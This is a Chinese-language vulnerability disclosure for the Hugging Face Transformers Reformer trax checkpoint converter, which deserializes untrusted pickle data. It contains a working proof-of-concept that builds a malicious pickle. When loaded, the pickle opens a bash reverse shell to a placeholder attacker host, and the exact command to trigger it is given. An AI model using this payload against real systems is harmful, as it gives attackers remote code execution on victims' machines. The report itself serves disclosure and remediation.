漏洞的高层概述及影响:
攻击者可以通过向 Hugging Face Transformers 仓库中的 convert_reformer_trax_checkpoint_to_pytorch.py 脚本提供一个恶意的 reformer trax 检查点文件,从而在目标主机上执行任意代码。
如果不知情的用户使用了第三方的 reformer trax 检查点文件,执行 convert_reformer_trax_checkpoint_to_pytorch.py 脚本将导致受害者系统上的远程代码执行(RCE)。
受影响的产品
根因分析
漏洞详细描述: 该漏洞源于对不可信数据的不安全反序列化。脚本使用 pickle.load 加载检查点文件,因此容易受到代码执行攻击。
从输入到漏洞条件的代码流:
reformer trax 模型。convert_reformer_trax_checkpoint_to_pytorch.py 脚本,并将检查点文件传递给该脚本。convert_reformer_trax_checkpoint_to_pytorch.py 脚本反序列化检查点文件并执行恶意代码。注入点: 漏洞发生在调用 pickle.load 的位置。
GitHub 永久链接:https://github.com/huggingface/transformers/blob/c8c8dffbe45ebef0a8dba4a51024e5e5e498596b/src/transformers/models/reformer/convert_reformer_trax_checkpoint_to_pytorch.py#L192
建议修复: 将 pickle.load 替换为 yaml.safe_load(yaml_file) 或 json.load,以防止执行任意代码。
执行概念验证的步骤:
exploit.py 创建恶意 pickle 文件 malicious.pkl,该文件将在受害者系统上创建一个反弹 shell:# exploit.py
import pickle
import os
class Exploit:
def __reduce__(self):
return (os.system, ('bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1',))
malicious_data = pickle.dumps(Exploit())
with open('malicious.pkl', 'wb') as f:
f.write(malicious_data)
print("Malicious pickle file created successfully.")
注意:在将文件发送给受害者之前,请更改 ATTACKER_IP 和 ATTACKER_PORT。
config.json 配置文件:{
"attention_head_size": 64,
"attention_probs_dropout_prob": 0.1,
"attn_layers": [
"local",
"lsh",
"local",
"lsh",
"local",
"lsh"
],
"axial_norm_std": 1.0,
"axial_pos_embds": true,
"axial_pos_embds_dim": [
64,
960
],
"axial_pos_shape": [
64,
64
],
"chunk_size_lm_head": 0,
"classifier_dropout": null,
"eos_token_id": 2,
"feed_forward_size": 512,
"hash_seed": null,
"hidden_act": "relu",
"hidden_dropout_prob": 0.1,
"hidden_size": 1024,
"initializer_range": 0.02,
"is_decoder": true,
"layer_norm_eps": 1e-12,
"local_attention_probs_dropout_prob": 0.05,
"local_attn_chunk_length": 64,
"local_num_chunks_after": 0,
"local_num_chunks_before": 1,
"lsh_attention_probs_dropout_prob": 0.0,
"lsh_attn_chunk_length": 64,
"lsh_num_chunks_after": 0,
"lsh_num_chunks_before": 1,
"max_position_embeddings": 4096,
"model_type": "reformer",
"num_attention_heads": 16,
"num_buckets": null,
"num_hashes": 1,
"num_hidden_layers": 6,
"pad_token_id": 0,
"tie_word_embeddings": false,
"transformers_version": "4.42.4",
"type_vocab_size": 2,
"use_cache": true,
"vocab_size": 30522
}
convert_reformer_trax_checkpoint_to_pytorch.py 脚本,并将 malicious.pkl 文件传递给 --trax_model_pkl_path:> python convert_reformer_trax_checkpoint_to_pytorch.py --trax_model_pkl_path malicious.pkl --config_file config.json --pytorch_dump_path .
注意:
pytorch_dump_folder_path可以设置为任意目录。
软件下载链接:
https://github.com/huggingface/transformers/tree/main